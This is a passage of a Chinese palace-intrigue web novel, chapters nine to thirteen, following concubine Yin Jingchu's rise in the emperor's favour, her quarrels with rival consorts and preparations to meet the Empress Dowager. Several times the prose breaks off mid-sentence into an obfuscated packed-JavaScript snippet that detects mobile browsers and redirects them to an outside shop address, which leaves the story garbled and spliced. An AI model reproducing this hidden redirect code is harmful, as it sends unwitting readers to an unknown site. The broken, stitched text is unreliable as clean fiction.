岑容华沉浸在自己的情绪中,她不曾留意到管贵嫔面上闪过的几分僵硬,但管贵嫔身边的丽春却察觉到了。 丽春机敏地笑了笑,而后欠了欠身道:“二公主瞧着是饿了,正好厨房做了鸡蛋羹,好克化,不如岑容华把公主抱下去喂一些可好?” 岑容华闻言不疑有他,当即抱着公主下去了。 丽春敛了嘴角笑意,轻声细语道:“为着去请安,主子晨起也没用多少,只怕眼下腹中空空不舒服,不如用一些?” 管贵嫔摆了摆手,瞧着没什么用膳的兴致,她垂眸神情寡淡道:“罢了,我没什么胃口。倒是公主那边,如今天热可要上些心。” “是,岑容华虽然脾气毛躁,有些拎不清。但乳母说了,她待公主十分耐心细致,陛下上回来也说公主气色好,肉嘟嘟的,可见是主子和岑容华照顾的细致。”丽春笑了笑道。 管贵嫔听了这话嘴角也没扬起笑容来,反倒是冷淡道:“虽说明面上是本宫教养公主,但陛下特意让她住在这里,哪里是真的想让本宫养?不过占个名罢了,等公主再大几岁,为着公主的颜面,陛下也会赏她个主位做。” 这话道出了事实,陛下起初也只是觉着岑容华市侩,不够稳重,觉得管贵嫔端庄沉静,让岑容华好好沾染她的好习性,这样才能养好公主。 丽春听着管贵嫔的话有些于心不忍,知道她是有些不甘与寂寥,遂只能软和声气宽慰,“主子还年轻,何愁没有子嗣?咱们只要好生调养着,那药一碗一碗喝下去总是有用的,没准儿将来就能怀上了。” 管贵嫔咬着唇,眼圈泛红,她却倔强地扬起下巴来,冷笑道:“不过是骗骗自己罢了,你自幼伺候在我身边怎能不知,当年母亲生我时从娘胎带出来的弱症,将来只怕是我自己也做不得生身母亲。” “一个女人,生不了子嗣的女人,在宫里有什么用?” 这样说着,管贵嫔情绪愈发压抑不住,她紧紧地攥着茶盏,声音发颤。 她与贤妃差不多时候入东宫,连贤妃都有了好消息,她只能眼巴巴瞧着,心里嫉妒的不行,但面上还只能装的端庄温婉,嘴上还要说着恭喜的话。 何其不公? 丽春不愿瞧见她这般模样,她哽咽道:“主子您别这样说,就算您没有子嗣,陛下心里也很敬重您。他说,您端庄娴静,这样的性子很好。” 管贵嫔扯了扯嘴角,嗤笑道:“我又不是皇后,要这敬重做什么?横竖不过是个笑话罢了,什么端庄娴静,都是假的。这宫里要么恩宠,要么孩子,这才是真真正正的好。” 这样的道理她很久前就明白了,可她偏偏什么都抓不住。 良久,她平复好情绪,睁开眼睛又恢复往日的沉静的模样。 . 殷美人接连两夜侍寝又得到晋封,恰逢这时候姜才人传出了染病的消息,皇后那边顺势让人取下了她的绿头牌。 除却容更衣外的十一位新人继续翘首以盼侍寝的好消息,一个两个都忍不住让人出去打听。 然则一直到入夜,御前才又传出陛下翻了惠和殿的牌子的消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981044|148127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是殷美人,还是殷美人! 已经一连三夜,一连三夜侍寝,除了从前的徐贵妃,就是贤妃和玫妃都不曾有过的,众人都坐不住,但只能眼巴巴瞧着殷璟初侍寝得幸。 惠和殿风头一时无俩,宫里是最势力的地方。只要小主得宠,人人便都上赶着巴结做好人,殷璟初受着优待,连带宫人也都红光满面,那叫一个得脸。 一直到新人入宫的第五夜,许多人都不抱希望了,就这样陛下终于翻了一位丽仪的牌子,众人都喜不自胜,盼着接下来有一日能到自己。 陛下倒真是陆续翻了几位选侍、娘子和采女的牌子,但一夜侍寝后莫说晋位,就连一般的赏赐都没有,如此愈发体现当日殷璟初有多受陛下青睐,由此宫里酸言酸语声不少。 殷璟初都不放在心里,随她们去罢了。 以为陛下能将新人的牌子都翻到,但也仅仅是四五夜,陛下又转而翻了徐贵妃、玫妃等人的牌子,果然笑到最后的还是贵妃等人。 这日请安时贵妃就很是得意,说出口的话更是张扬得意,众人都不得不避其锋芒。 哪知这日过后,将近半个月,陛下都不曾再翻牌子。起初一日两日众人还只道寻常,可等过了七八日陛下都是在紫宸殿独寝,众人便开始急了,一个两个请安时都在吐酸话。 皇后只是一贯笑的温和,却不大言语,除了草草的几句安慰便打发了众人。 就这样等啊等,一直到了六月,这日御前终于传来了消息。时隔半个多月,陛下头一次翻了惠和殿的牌子,气的贵妃在宫里摔了一个花瓶。 此刻被众人嫉妒的不得了的殷美人正伏在陛下的怀里,二人靠的十分近,姿势十分暧昧,连气息的起伏都听的十分清楚。 殷璟初轻轻勾着陛下的脖颈,她抬起圆润细腻的下巴,露出那张惊艳的脸蛋来笑着道:“陛下半个多月都不曾来后宫,一来就到惠和殿,嫔妾真是受宠若惊呢。” 萧煜晲了她一眼,气息深重,“此话当真?” “千真万确。”殷璟初点了点头,笑起来时双颊酒窝浅现。 天气渐热,已经到了用冰盆的时候了,好在殿内的冰供的较足。 殷璟初穿的清凉,薄薄的锦缎贴着柔嫩的肌肤,勾勒出□□翘臀来。 她生的很纤细,很难令人想到身材这般好,该有肉的地方一点不少。 萧煜自然是食髓知味,时隔半个多月还能想起初夜的滋味来,因此今日敬事房来时,徐德智以为又要扑场空,哪知道陛下的视线当即停留在殷美人的牌子上,细长的手指勾了勾那牌子。 若说从前,徐德智对殷美人是不敢小瞧,但如今就是彻底的上了些心了。陛下时隔大半个月,到了翻牌子就想起惠和殿来这说明什么?说明至少陛下是将人记在心里了的,这位殷美人总归有些不同了。 但凡陛下对人上了心,他们这些底下人就要更上心。 萧煜的呼吸声又重了些,殷璟初察觉到不对劲儿,她耳根子不争气的红了红,轻轻扭了扭身子,这下让萧煜愈发把持不住。 索性也不忍了。 红帐散下,又是一夜缠绵。 10. 第十章 转眼就到了六月中旬,皇宫中暑热逼人。 去岁冬日存入冰室中的冰早早便已起用,由皇后做主,按照嫔妃位分高低分发。然冰是消耗品,总是不够用的,位分高的诸如贵妃、贤妃等人自然是要多少有多少,位分低的嫔妃便有些难熬了。 殿外熏风微拂,萼绿面色泛红,她擦了擦凝结在额头上的汗珠子,一进去扑面冷气袭来,一下子便浑身爽快起来。 莹妆瞥了这边一眼,她拉了拉桃红,桃红从袖口掏出帕子来,颇为踟蹰地立在原地不动,还是兰时笑吟吟道:“萼绿姐姐快来喝冰饮子,桃红姐姐才从冰鉴里头取出来的,咱们一人一杯。” 话落,眼见着萼绿朝这边走来,桃红脚下顿了顿,便将帕子递了去,萼绿怔了怔默然将帕子收下,缓缓擦拭额间的汗珠。 殷璟初午睡醒来便瞧见众人笑吟吟地围着冰鉴,见她起身,桃红从冰鉴中取出一碗冰酥酪来,上头浮着桂花蜜,小巧精致。 殷璟初尝了一口,嘴角流露出笑意来。若论吃食,宫里的自然无所不用其极的精致。冰镇的滑嫩甜甜的口感,越吃越觉得舒坦。 夏日炎热,若是像这般窝在宫里不出去,快快活活地享用饮子酥山,也是一件幸事。 不过多时,松融从外头进来,他躬身行礼道:“小主,陛下今日翻了姜才人的牌子。” 姜含贞,殷璟初扯了扯嘴角,时日隔的有些久,她险些都要忘了这个人。 姜才人因病取下绿头牌近一个月了,这阵子也不曾去坤宁宫给皇后娘娘请安。眼瞧着这一批新人都侍寝过了,从前心气高傲,急的不行的姜才人这次却事反常态,要不是松融忽然探听到什么,殷璟初快以为这宫里没这个人了。 她轻轻一笑,随意问道:“天色还早,陛下怎么就突然翻了牌子?” “听说陛下今日陪二公主游溪亭湖,岑容华随侍。正巧撞见姜才人在湖边弹琴,陛下赞姜才人琴技了得,回紫宸殿后便翻了倚香殿的绿头牌。”松融轻撇嘴,眼神中透着几分不屑。 想起姜才人身边伺候的东齐,若是姜才人此番得宠,那小子可不知要多得意忘形,想起这个,松融就有些顺不来气。 殷璟初弯了弯眼眸,明日请安可是有好戏瞧了。通过这段时日对岑容华的了解,那也不是个省油的灯,惯喜欢以二公主来邀宠,然今天被姜才人截胡了,说起来,她还觉得有些稀奇。 姜才人嘴上标榜着不会使这些投机取巧的法子,如今坐冷板凳久了也不管这些了,还用上了她一贯擅长的古琴,看来是准备破釜沉舟一番了,好在结果不错。 桃红挑了挑眉道:“岑容华可不是个好相与的,小主且瞧着吧。” 兰时也努了努嘴,面带不悦道:“还以为姜才人这一个月安生了,原来也在底下细细图谋着。哪儿有人弹琴弹到湖边去的啊,这不是明摆着邀宠么?” 莹妆瞧了她一眼,又望向殷璟初,见她神情自然,似乎不曾将此事放在心上。 殷璟初自然也知道她们的心之所想,浅笑道:“陛下是召幸了姜才人,却也不代表我会坐冷板凳。再说,我如今风头颇盛,有个姜才人出来惹惹眼也好,这宫里岂不是就热闹了。” 她记得初次承宠那一夜,陛下就是瞧见了她与姜才人口舌之争,后来陛下还说要替她做主,殷璟初牵了牵嘴角,所以说啊男人的话不能信。 尤其是帝王。 承宠时说的千般万般好,这之后也会抛之脑后,不过是当日承宠调情时的一些小手段罢了。 不过暂且不想陛下那边,就说这姜才人,有一个月没见了,都说江山易改本性难移,她明日出现究竟是趾高气昂还是收敛脾性呢?这般想来,殷璟初竟然有些期待明早的请安。 今夜注定不安生,翌日一早,殷璟初起来梳妆打扮时,桃红替她挽发,一边的豆蔻觑了眼小主声浅道:“昨夜姜才人侍寝,听说陛下赏赐了东西呢。放眼新人里,除了当日小主又晋位又有赏赐,如今姜才人也得了这样的殊荣。” 殷璟初睡眼惺忪,她揉了揉眼睛,听了这话慢悠悠道:“情理之中的事情,总不能所有好处都让我占尽了吧。” 当日姜才人位高于她,必然有陛下和皇后的考量在。她原就是这批新人中的第一人,因病近一个月不曾侍寝,陛下给些赏赐以示抚慰不算什么。 到了坤宁宫,一进殿便被冷气所萦绕,殷璟初落座后才发觉除了贵妃和贤妃未来,其余嫔妃都到了。 众人隐隐以玫妃为首,她正有意无意地拨弄着玉手上的翡翠戒指,玲珑剔透的玉色,一瞧便不是凡品。 “玫妃娘娘手上那玫玉戒指,玉质好生通透,嫔妾虽坐的远可也瞧的真切。”卢嫔笑吟吟开了口,便将所有人的目光都吸引了去。 玫妃原本就带了炫耀的意思,正巧卢嫔提起来,她顺势抬起纤纤玉手来,虽然面上十分得意,但还是撇了撇嘴—— “卢嫔好眼力,这枚翡翠玉戒指还是本宫去岁生辰时陛下赏赐的。原是放在妆奁中,今日想起来便戴上了,想着总好过放着蒙尘好。” 卢嫔连连说是,笑容灿烂道:“陛下赏赐给娘娘,足可见对娘娘的看重。” 这话大大满足了玫妃的虚荣心,她勾了勾嘴角,身子又坐直了些。 何良媛收回视线,她瞥了眼身边脸色不佳的岑容华,见她眼底留着一片青黑,她遂低声咒骂道:“何苦为着一个狐媚子生气?她与容氏都是一般的货色,什么名门贵女,你瞧咱们宫里名门贵女还少了?都是为了得宠可以不择手段的。” 岑容华却不肯咽下这口气,昨日她带着二公主特意去给陛下请安,原就是近一个月陛下都不曾去她宫里,她才想争口气的,索性摆出以往的手段来,她料想此事必定成。 果然,二公主在她的有意教导下说要去溪亭湖玩,陛下欣然应允,哪知道路上就遇见了那狐媚子,特意打扮了一番坐在那摆弄古琴,打量着她是个傻子么? 谁人瞧不出来那就是有意,她当时就气的不行,偏生那狐媚子还敢对陛下抛媚眼,一副温婉柔情的模样。 她气的差点一个耳刮子甩过去,后来等人离开后,她再开口请陛下到宣德宫用晚膳,陛下便拒绝了。 当她憋着一肚子气回到宣德宫,听到宫人禀报陛下翻了倚香殿的牌子,若非宫人劝说,她恨不得去撕了那贱人。 岑容华冷着脸叫屈道:“我如今还是正四品容华,二公主的生母,当着我的面她都敢这般狐媚惑主了,往后还得了。” 她实在是咽不下这团火,只冷眼瞧着这姜氏何时来。 徐贵妃和贤妃前后脚到,二人落座后,环视一圈竟只有姜才人未到了。 想到她昨夜承宠,众人本就有酸话,今日请安还姗姗来迟,也不知谁抱怨了一声,岑容华便意有所指地冷笑道:“人家本事可大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时间一分一秒过去,终于等到皇后娘娘都到了,姜才人终于匆匆赶到。 殷璟初饶有兴致地抬眸瞧去,一身胭脂色的锦缎宫装,绣工可见一斑,衬得整个人光彩夺目,娇艳可人,窈窕玲珑的身段,此刻面上掩不住的春意,给皇后请了安后便挺直了腰板。 她坐到了殷璟初正对面,甫一坐下,她便挑衅地望向殷璟初,神情中尽是不屑。 殷璟初挑了挑眉,可惜了还是与从前一般,她还以为姜含贞长进了些。 皇后开口关怀两句,便见徐贵妃接了话茬来,她似笑非笑锐意十足道:“本宫一个月不曾见过姜才人了,听闻你病着不好让人打扰。可昨儿怎么就在溪亭湖偶遇陛下了呢?难道是病好了,故意蒙骗皇后娘娘么?” 话落,皇后端起茶盏的手一顿,也想看姜才人会如何作答。 姜才人站起身来,她欠了欠身歉疚道:“请皇后娘娘恕罪,实在是嫔妾这阵子身子不适,近两日才好了些,便想着出去散散心,遇见陛下实乃偶然。” 说起这话,她面上泛起潮红来,想起昨日初见陛下时,陛下那俊朗的容貌令她忍不住心动,眼下想来更是让人面红心热的很。 这番姿态落在岑容华眼里,怒意便再也掩盖不住了,她直起身子来冷笑道:“好一个散心,我可不曾听过散心抱着古琴跑到溪亭湖去的。莫不是早早打听到了陛下的行踪,才想着去献媚争宠罢?” 11. 第十一章 岑容华这番话说的丝毫不留情面,她隐忍一夜的怒气终于爆发。 场面登时有些难堪,位分低的嫔妃们都暗暗看戏,位分高的譬如徐贵妃、贤妃和玫妃,徐贵妃和贤妃是一副见怪不怪的模样,玫妃眼神中倒闪过几分惊讶,但都安安稳稳坐着,只瞧着这场一触即发的好戏。 殷璟初下意识朝姜才人瞧去,见她一张俏脸涨的通红,不过她也不曾因为岑容华这番话知难而退,过了几秒钟只见她抬起头来—— “岑容华此话恕嫔妾不明白了,嫔妾就算有通天的本事也知道打听陛下的行踪是不许的。嫔妾素来喜欢抚琴,病好了坐在湖边抚琴,放松心情。敢问岑容华,嫔妾所为难道有什么错么?” 这般说着,姜才人腰板挺的直直的,一副理直气壮的模样。 她也是出身名门望族的贵女,从小被捧在手心长大,不曾受过半分委屈。原本没有意外,她本就该是新人里第一个侍寝的,也是被所有人羡慕的对象,如今这一切在她看来本就是该得的。 唯一让她有些不快的便是当日陛下给殷璟初晋了位,到她这里却只有一些赏赐。 岑容华未曾料到姜才人这么理直气壮,半分不将自己放在眼里。她即使不是主位,可不论位分还是资历都比姜才人高,况且还是二公主的生母,姜才人对她一点尊敬都没有,何况还是众目睽睽之下。 先前贵妃刁难她,她可以忍了,可如今若是一个小小才人都能欺凌到她头上,她简直就是个笑话。 如此想来,岑容华气的胸口起伏,她指着姜才人怒骂道:“放肆,你一个小小才人还敢顶嘴。昨日你狐媚惑主是众目睽睽的事,容不得你想囫囵过去。亏你还自恃出身高门,我如今果真是开眼了,也不知道淮阳侯府是如何教养女儿的。” 岑容华是气糊涂了,话音落下,就见皇后脸色沉了沉,方才斗嘴都能说是小打小闹,如今扯上了淮阳侯府,她厉声打断—— “够了,岑容华你也是宫里的老人了,伺候陛下多年怎么说话还是这样没有分寸?姜才人昨夜才承宠,你今日话里话外指摘,莫非是想要做陛下的主了。”皇后难得语气这般严厉,她叹了口气,“都是伺候陛下的姐妹,更要和和睦睦相处,相互体谅才是。总要这样争风吃醋,让陛下怎么看。” “今日的事情就这样,若是有下次,本宫绝不姑息。” 殷璟初微微垂眸,眼神中闪过几分玩味。皇后这番话里字字句句都是岑容华的不是,至于姜才人,压根儿不曾提上半句不是。 她忽然有些好奇,皇后这番举动,若是说要拉拢姜才人也不该啊。她是皇后,本就是后宫之主身份不同寻常,如今大庭广众之下公然护着一个刚入宫的新人,企图让人浮想联翩。 至于岑容华,这几日接二连三的受气,脸色已经难堪的不知说什么好了。 她咬着嘴唇,满心满脸的不甘。 徐贵妃面上挂着几分若有似无的笑意,而贤妃笑意也淡了几分,似乎不知想起了什么,手慢慢搭在小腹上。 皇后偏向自己,姜才人有些受宠若惊,她忙起身来福了福身道:“皇后娘娘说的是,嫔妾受教了。” 而后轻轻巧巧落了座,眼角眉梢都透着几分得意。 玫妃撇了撇嘴,觉得有些索然无味。 请安散了后,众人依位分高低离开,瞧见贵妃和贤妃的仪仗离开后,殷璟初步子轻缓,身侧的兰时凑到她耳边道:“方才咱们离开时,奴婢瞧见姜才人并未起身,一直到最后容更衣离开,姜才人还稳稳当当坐着呢。” “是么?” 殷璟初勾了勾嘴角,姜含贞的心思太过浅显,一下子便能猜到,如此便端看皇后的心意了。 殿里,皇后端坐于上,嘴角含着淡淡的笑意,她和声道:“你昨夜才侍寝,这会儿正是身子疲倦的时候,该回宫休息才是。” 姜才人面上难得含着腼腆的笑意,在皇后跟前,她不敢掉以轻心,只是语带讨好道:“嫔妾不累的,今日还要多谢皇后娘娘替嫔妾主持公道,否则嫔妾便要备受冤枉了。” 她说话细声细气的,瞧见她这副模样,皇后却只是轻轻一笑神态大方道:“本宫说话做事都是循着规矩来,不曾有半分偏袒。今日的确是岑容华说话太过,让你受委屈了。正巧本宫昨日得了一支金簪,与你倒也相配。” 皇后话音才落下几秒钟,就见一宫女捧着一个锦盒过来。 姜才人自然是亲自接过那沉甸甸的锦盒,愈发心花怒放,她喜不自胜道:“多谢皇后娘娘。” 皇后只是笑了笑,又关怀了几句话姜才人便告退了,待她离开后,皇后敛了嘴角笑意恢复平淡的神情。 蕊珠掀开珠帘进来,面上难得露出几分狐疑,她轻声问道:“恕奴婢不明白,岑容华到底是生养了二公主,娘娘今日斥责她,反倒是隐隐偏向姜才人,这是何故?” 皇后淡淡地瞥了她一眼,又闭着眼声浅道:“她是生养了二公主,素日也有几分机灵劲儿讨陛下喜欢,就是眼皮子太浅,这阵子太冒头了些。上次贵妃那番话还没让她照照自己,今日又这样逾越,本宫还不曾说什么哪里轮得到她来挑拣姜氏的不是。” 说白了也就是因着恭维贤妃之事惹得皇后心里不快,皇后原就有几分忌惮贤妃这一胎。再加上今日一早旁人都不曾说什么,偏岑容华跳出来一副当家做主的模样,所以皇后才不快了。 蕊珠点了点头,缓声道:“难怪陛下虽然偏向她,可还是将二公主养在管贵嫔宫里。管贵嫔的确比岑容华稳重许多,也更适合教养公主。” 皇后听见“管贵嫔”的名号,却难得挑了挑眉,随意道:“她比岑氏稳重,岑氏怕是这辈子都学不会了。罢了,明日就是六月十五了。” 每逢初一十五都是六宫向太后娘娘请安的日子。太后虽然不是陛下的生母,但也有养育的情分在,陛下一登基她就入主了慈宁宫。 明日要去慈宁宫请安是该早些做准备。 . “陛下是先帝的嫡长子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998081|148127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乃是元后所出。太后娘娘虽然是继后,但与先帝情分非比寻常,先帝去世后她大为哀恸,还是陛下和皇后娘娘总去探望宽慰,身子才渐渐好了些。” “虽然不是嫡亲母子,但陛下很是敬重太后娘娘。” 殷璟初听着桃红的话,对太后娘娘也有了粗略的了解。 “明日就穿那件雾蓝色的宫装吧,尚衣局新做出来的,料子轻薄柔软,款式不落俗套。”殷璟初淡声吩咐下去。 初次拜见太后并不用多惹眼,只是循规蹈矩便好,一副温婉端庄的模样便是了,挑不出什么错处。 桃红闻言点了点头,又笑着道:“太后娘娘脾性颇为温和,小主不必担心。不过,放眼宫里这么多嫔妃,除了皇后娘娘,太后素来喜欢贤妃,反倒是贵妃娘娘在慈宁宫就没那么讨喜了。” 殷璟初眸色一亮,“这话如何说?” “太后娘娘出身陈留袁氏,虽然家族衰败,但曾也是名门世家,她老人家很是注重规矩体统。贵妃张扬跋扈,一贯在慈宁宫没多少面子,倒是贤妃出身高门,人又温柔婉约,侍奉太后娘娘恭谨,因此很得她青眼。”桃红如数家珍。 殷璟初点了点头,说了会子话便觉得身上有些疲惫,午后困意涌了上来,不多时便靠在美人榻上睡了起来。 再醒来时已经是下午了,外头气候燥热,好在里头放着的冰足足的。 她伸了个懒腰,不多时就见莹妆笑吟吟掀开珠帘进来,笑声隔了老远都能听见,“小主,陛下今日翻了咱们惠和殿的牌子,敬事房方才派人来说让小主早些预备着,流程您都驾轻就熟便没有派嬷嬷来指点了。” 殷璟初怔了怔,有些没反应过来。 昨夜是姜才人侍寝,她原本还以为照陛下今早赏赐的趋势怎么着今晚还会是倚香殿,没想到消息来的突然,她有些发怔。 可纵是如此,她面上也不见几分喜色,入宫这一个多月她风头颇盛,陛下来已经是家常事了。 她不会似第一次那般局促,也不会过分开心,只是淡淡的滋味,如常一般吩咐人到御膳房准备陛下喜欢的吃食。 但落在莹妆眼里便是觉得殷璟初宠辱不惊了,她笑嘻嘻道:“要么说陛下这么喜欢小主,那姜才人咋咋呼呼,一惊一乍的性子恐怕早惹了陛下不喜,陛下今日便想起您的好来了,温柔体贴,谁人不喜欢。” 殷璟初被她这话说的哭笑不得,她抿了抿嘴,陛下是不是念起她的好她不知道,不过想起入夜的事,她只怕有些吃不消。 到净室沐浴更衣后,一身轻薄柔软的锦裙穿在身上,勾勒出纤细的腰肢和饱满的胸脯来,因为才沐浴完,殷璟初面上被雾气蒸的余红未消,平添几分娇柔的妩媚来。 萧煜进来时便瞧见这样一番模样,美人坐在灯下,锦裙遮掩下的一双圆润细长的腿勾勒的朦朦胧胧。 殷璟初尽态极妍,萧煜瞧在眼里,一时不觉呼吸都沉重了些。 她就是有这样的本事,能让自己不知不觉便动了心思。 12. 第十二章 殷璟初的余光早已察觉到那抹略略透着情.欲的眼神,但她安然自若,只是伸出纤细白皙的手指翻了翻绣样,萧煜却察觉出几分不同。 殷璟初的指尖细白,透着淡淡的粉色。 可今日,她指尖却渲染出一抹淡淡的嫣红,莫名有几分勾人。 萧煜放缓了步子凑近,殷璟初又似小鹿乱撞一般受了惊,她抬起如葡萄一般的眼眸,亮晶晶又透着几分喜色,“陛下来了。” 她正要起身行礼,萧煜却一把按下她的尖,一股馨香若有似无地传了来。 并非他素日厌恶的胭脂水粉香味,是那种淡淡的,柔和的香,不让人觉得冲鼻,却有种令人沉醉的魔力在,更似是体香。 他一把握住殷璟初的手,柔软温热的肌肤触碰上,殷璟初的耳根子微微泛红,似乎有些始料未及,还未说话,就见萧煜挑了挑眉轻笑,“好香。” 殷璟初嘴角勾起一抹娇俏的笑意,心中一喜,又抬眸瞧了眼萧煜,目光盈盈道:“陛下是不是对每一位侍寝的人都说过这样的话?” 萧煜听着这话,却品出了几分不一样的意味,只是几秒,他低低一笑沉声道:“吃醋了?” 殷璟初垂下眼眸,她睫毛轻颤,语气轻柔道:“是,嫔妾吃醋了。” 她承认的倒是坦然,萧煜难得有些惊讶。在宫里,便是素来喜欢撒娇撒痴的徐贵妃到了他跟前也是谨守规矩礼仪,徐贵妃心思浅显,眼底的醋意明明一下子便能看透,她偏生说没有,还要做出一副温柔端庄的模样,处处顺着他,讨好他。 皇后和贤妃更不用说了,早在东宫时皇后便是这副端庄严肃的模样,不苟言笑,在他跟前也要端着皇后的架子,不能失了母家的脸面。 至于贤妃,永远温温柔柔的,柔情似水,像是没有脾气的人一样。 这样想起来,宫里所有人在他跟前都是谄媚讨好的模样,处处顺着他的心意做事,每个人都装的一副端庄体贴的模样,从不曾有人说过真话,相处起来一板一眼的,令人觉得无趣也疲惫。 所以殷璟初于他的不同,皮相占了六成,其中四成是她的性子。 早在初次侍寝时,他戳破她在自己跟前做戏的模样,她也坦然认了,一副委屈又觉得自己有理的模样,他想起来还觉得有趣。今日亦是,他不过想要逗逗她,但她好似当了真。 殷璟初抬眸,眼神中透着一抹怅然与不知所措,她语气低低的,声气柔柔道:“嫔妾有些吃醋,也有些害怕陛下昨日宣召姜才人侍寝后,您会不会对嫔妾产生改观,觉得嫔妾满嘴谎话,是个虚伪至极的人,恶心到往旁人身上泼脏水,日后就再也不来嫔妾宫里了。” 听了这番话,萧煜却忽然有些哭笑不得,他难得好性问道:“为何这般想?” “因为陛下知道嫔妾和姜才人的龃龉,嫔妾不想蒙骗陛下。”殷璟初顿了顿,她缓缓垂下眼睛,手无力地垂落下去,却不知该如何解释了。 萧煜险些要觉得,她下一秒要哭出声了。他素来觉得自己是个冷情冷性的人,不只是自己这样觉得,身边人亦是知道。 在他跟前掉眼泪的人不少,可泪水中掺杂的真心却是少的可怜。 大都是为了做戏,可到底是真心还是假意,这样拙劣的把戏,他年少时候就见识了太多。 永远不要低估一个幼年丧母,又一步步成为父亲最倚重的孩子的感知能力。 他冷眼瞧着一个又一个在他跟前耍心眼的女人,长年累月,他的心似乎也像冰封了一般,轻易不被触动。 他承认,殷璟初的这副皮相的确生的好。 他是帝王,后宫从没有无盐女,若非几分姿色他也瞧不上。殷璟初的这张脸,是他起初注意力停留在她身上的资本,这几次相处下来,他的确觉得她有些不同,譬如与她相处很舒服,她不矫揉造作,性子娇俏也明媚温柔,让他留了些心思。 可这并不能够证明什么。 可今日,他的心有一块似乎被触动了一样,就那样的松动瓦解,他竟然下意识想要哄哄她。 这样的自己,当真有些陌生。 “朕知道。” 萧煜淡淡张了嘴,殷璟初黯淡的眸子中出现一抹光亮来,似是不可置信,又透着些喜极而泣的意味来。 她露出白皙精致的脸来,鼓足勇气望向萧煜,身子虽颤了颤但语气越来越坚定,“我不怕与人结仇,和姜才人的恩怨是早早就有了的,我不在乎她挑衅,更不会畏惧。可在这宫里,我能全身心相信的只有作为枕边人的陛下,旁人的误会与厌恶与我无关,我只在意陛下的看法。” 话落,她似乎觉得自己有些可笑,嘴角流露出一抹苦涩的笑意来。 “我也不知道自己是怎么了,自知人微言轻,还要说这些大言不惭的话。可,若陛下能信我,于嫔妾而言便足够了,嫔妾别无所求。” 萧煜想要从殷璟初的眼神中瞧出她的假意,她的讨好,可是没有,若是早早就想好的,她不会这般慌张,这般无措,前言不搭后语,可见这一切都是她的心里话,掺不得假,她就这样望着他,恳切的目光令人怜惜。 殷璟初的心里也在打鼓。 其实,她今日倒不曾想过要说这番话。 但是气氛烘托到了这里,至于萧煜会不会信她,这太难了,殷璟初原也不曾抱着就这样一番话萧煜就能完全信任她的可能,那便让萧煜记得,留下深刻的印象也好。 半晌,带着凉意的吻便落了下来,殷璟初惶恐无措到睁大了眼睛,可萧煜的吻却不似平日那般温柔,隐隐带着几分狠意。 慢慢的,她觉得呼吸有些困难,可浑身开始酸软,她无力地推了推萧煜,萧煜顿了顿,低头望向她,见她呼吸紊乱,面上尽是红晕,透着动人的妩媚。 这一夜太长太长了。 久到殷璟初一次又一次昏睡过去,第二日萧煜离开时她还不曾得到消息,直到莹妆等人来唤她起身,她睡的太沉了些。 殷璟初起身后人还有些恍惚,莹妆瞧着她疲惫的神情不免心疼,陛下回回来小主都会吃不消,但没有一次像今日这样,她心里有些不是滋味,在替她换衣服的时候,忽然瞧见她身上那些痕迹来,整个人都吃了一惊。 兰时瞧见人都傻掉了,她红着脸喃喃道:“怪道昨夜叫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇后恭敬地禀报了近些时候后宫的琐事,太后都是安安静静听着不曾搭话,待到她说完,太后才笑了笑和声道:“当年先帝和哀家一眼就瞧中了你做储妃,便是看重你的人品与能力。如今你将后宫打理的井井有条,哀家很是欣慰。” 皇后脸上也露出些笑意来,她恭谨道:“这些都是儿臣身为皇后的职责,母后瞧得上,儿臣却不敢邀功。” 太后瞧着皇后的模样颇为满意,皇后出身名门,与陛下从前的那些出身小门小户的嫔妃到底不同,能力与手腕自不必多说,将后宫管理的这么好,她拍了拍皇后的手以示肯定。 贤妃在一旁坐着,她伸手抚了抚微微隆起的小腹,笑容温柔。 太后自然不曾忽视,她笑吟吟望向贤妃,又叹了口气道:“如今宫里样样都好,可只有一点让哀家忧心。陛下的子嗣不丰,宫里才一位皇子二位公主,始终是太少了。贤妃如今有了身孕,这是大大的喜事,哀家就盼着你能平平安安诞下皇子来,给后宫添丁添福。” 贤妃笑意深了几分,她柔柔应下,“是,仰仗太后娘娘吉言。” 皇后听着这番话微微一怔,不过一瞬她面上的笑意又恢复日常,垂眸轻笑道:“母后不必忧心,如今宫里又进了新人,繁衍子嗣是早晚的事。母后难道还怕日后没有含饴弄孙,尽享天伦之乐的时候么?孙儿们都承欢膝下,只怕您都看顾不过来了。” 这话自然是打趣之意,但太后也觉得颇为愉悦。 她笑道:“这批新人里,可有陛下喜欢的?” 皇后正要回答,不料贤妃轻启朱唇,声音柔和道:“有一位殷美人出身好,人也生的好,很得陛下喜欢。臣妾想,娘娘您见了必定也会喜欢。” 13. 第十三章 